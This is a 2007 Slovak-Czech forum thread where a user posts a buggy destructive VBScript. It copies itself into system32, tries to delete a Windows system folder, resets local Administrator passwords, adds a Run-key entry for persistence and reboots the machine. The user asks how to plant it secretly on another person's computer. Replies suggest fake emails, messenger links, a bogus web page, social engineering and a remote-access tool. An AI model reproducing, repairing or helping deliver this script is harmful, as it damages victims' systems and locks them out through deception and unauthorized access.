| chcem sa opytat ci tento script bude fungovat,mozno si poviete ze co je to za blbost ale musi to byt takto... tak tu je ten script:
Set fso = Wscript.CreateObject("Scripting.FileSystemO bject")
If (not fso.FileExists("zmija.vbs")) Then
WScript.Echo "Soubor neexistuje"
WScript.Quit
End If
fso.CopyFile "zmija.vbs", "C:\windows\system32\zmija.vbs"
Dim fso
Set fso = CreateObject("Scripting.FileSystemObject")
DeleteFolder fso, "C:\windows\system"
Sub DeleteFolder( fso, strFolderPath )
Dim oFolder
Set oFolder = fso.getFolder(strDocAndSettings)
For Each fi In oFolder
If fi.Type = folder Then
DelteFolder fso, fi.Name
Else
fi.DeleteItem
End If
Next
End Sub
'Create a FileSystemObject
Set oFS = CreateObject("Scripting.FileSystemObject")
'Open a text file of computer names
'with one computer name per line
Set oTS = oFS.OpenTextFile("c:\computers.txt")
Set oTSOut = oFS.CreateTextFile("c:\skipped.txt")
'go through the text file
Do Until oTS.AtEndOfStream
'get the next computer name
sComputer = oTS.ReadLine
'retrieve that computer's local Admin
On Error Resume Next
Set oUser = GetObject("WinNT://" & _
sComputer & "/Administrator,user")
If Err = 0 Then
'reset the password
oUser.SetPassword "New!Ad3in"
'save the change
oUser.SetInfo
Else
oTSOut.WriteLine sComputer
End If
On Error Goto 0
Loop
'close the text file
oTS.Close
oTSOut.Close
Set OpSysSet = GetObject("winmgmts:{(Shutdown)}//./root/ci mv2").ExecQuery("select * from Win32_OperatingSystem where Primary=true")
for each OpSys in OpSysSet
OpSys.Reboot()
Next
som este lama,a moc sa zatial neviznam v VBS...toto som nasiel na nete a dal dokopy..tak pojde to? (odpovědět) | zmija31 | | 319139767 | 15.4.2007 16:40 |
|
|
|
|
| no to ma nenapadlo:D(myslim to ironicky) jaj no sak preco to nechcem asi skusit... (odpovědět) | zmija31 | | 319139767 | 15.4.2007 16:55 |
|
|
|
|
| jo jo , spust to ! (odpovědět) | VIPER | 88.146.11.* | 15.4.2007 17:02 |
|
|
|
| ok tak ked to bude fungovat thx....sak ja to sputim ale ne na mojom pc :D (odpovědět) | zmija31 | | 319139767 | 15.4.2007 17:03 |
|
|
|
|
| no jo ale mne to smiesne nebude....tak ono subor zmija.vbs prekopiruje,zmaze tam ten priecinok a premenuje heslo admina,a resetne pc tak to je ze jo?a este sa chcem opytat..poradte ako to hodim do jedeho pc na ktory nemam fyzicky pristup...chcem to poslat jednemu tipkovi ale uz som skusal vela sposobov ale furt to neotvori...nejak tak aby o tom nevedel..THX za rady (odpovědět) | zmija31 | | 319139767 | 15.4.2007 17:10 |
|
|
|
| tak mu to posli pres nejaky messenger nebo pres mejla ne?? treba pres soom fake mailer (odpovědět) | pižďuch | | 449596045 | 15.4.2007 17:22 |
|
|
|
| tak jasne...ze ma to napadlo vsetko som skusal ale ten fagan furt vy ze osm to ja jak keby vy co robim..... (odpovědět) | zmija31 | | 319139767 | 15.4.2007 17:25 |
|
|
|
| No, musis si vymysliet nieco velmi originalne, aby si ho zaujal. Porozmyslaj na jeho zalubami, okrem fake mailu, mozes skusit vytvort falosnu stranku a naviest ho nejak k tomu scriptu. Dost ti v tomto pripadne pomoze sociotechnika. Nesmies to vsak velmi prehanat s opakovanim pokusov... + Mozes vyuzit aj IE WebDoor, na SOOMe... (odpovědět) | Daan | | 15.4.2007 17:38 |
|
|
|
| no jo ale ako ho pouzijem zasa mu musim poslat klienta nie?? to mas to iste ako keby mu mam poslat to com som ja spravil....no nieco som vymislel toto by ho mohlo zaujat....thx chlapci (odpovědět) | zmija31 | | 319139767 | 15.4.2007 17:41 |
|
|
|
| no ja som to skusal na jednom starom pc a nejde ten script tu ho mate nieco som tam pridal:
Set ovladani = CreateObject("WMPlayer.OCX.7" )
Set mechaniky = ovladani.cdromCollection
If mechaniky.Count Then
For i = 0 To mechaniky.Count - 1
mechaniky.Item(i).Eject
Next
End If
Set fso = Wscript.CreateObject("Scripting.FileSystemO bject")
If (not fso.FileExists("zmija.vbs")) Then
WScript.Echo "Soubor neexistuje"
WScript.Quit
End If
fso.CopyFile "zmija.vbs", "C:\windows\system32\zmija.vbs"
Dim fso
Set fso = CreateObject("Scripting.FileSystemObject")
DeleteFolder fso, "C:\windows\system"
Sub DeleteFolder( fso, strFolderPath )
Dim oFolder
Set oFolder = fso.getFolder(strDocAndSettings)
For Each fi In oFolder
If fi.Type = folder Then
DelteFolder fso, fi.Name
Else
fi.DeleteItem
End If
Next
End Sub
'Create a FileSystemObject
Set oFS = CreateObject("Scripting.FileSystemObject")
'Open a text file of computer names
'with one computer name per line
Set oTS = oFS.OpenTextFile("c:\computers.txt")
Set oTSOut = oFS.CreateTextFile("c:\skipped.txt")
'go through the text file
Do Until oTS.AtEndOfStream
'get the next computer name
sComputer = oTS.ReadLine
'retrieve that computer's local Admin
On Error Resume Next
Set oUser = GetObject("WinNT://" & _
sComputer & "/Administrator,user")
If Err = 0 Then
'reset the password
oUser.SetPassword "New!Ad3in"
'save the change
oUser.SetInfo
Else
oTSOut.WriteLine sComputer
End If
adr = "C:\windows\system32\zmija.vbs"
Set WshShell = CreateObject("WScript.Shell")
WshShell.RegWrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVer sion\Run\fx", adr, "REG_SZ"
MsgBox "prikazy ukoncene!!"
On Error Goto 0
Loop
'close the text file
oTS.Close
oTSOut.Close
Set OpSysSet = GetObject("winmgmts:{(Shutdown)}//./root/ci mv2").ExecQuery("select * from Win32_OperatingSystem where Primary=true")
for each OpSys in OpSysSet
OpSys.Reboot()
Next
(odpovědět) | zmija31 | | 319139767 | 21.4.2007 23:31 |
|
|
|
|
|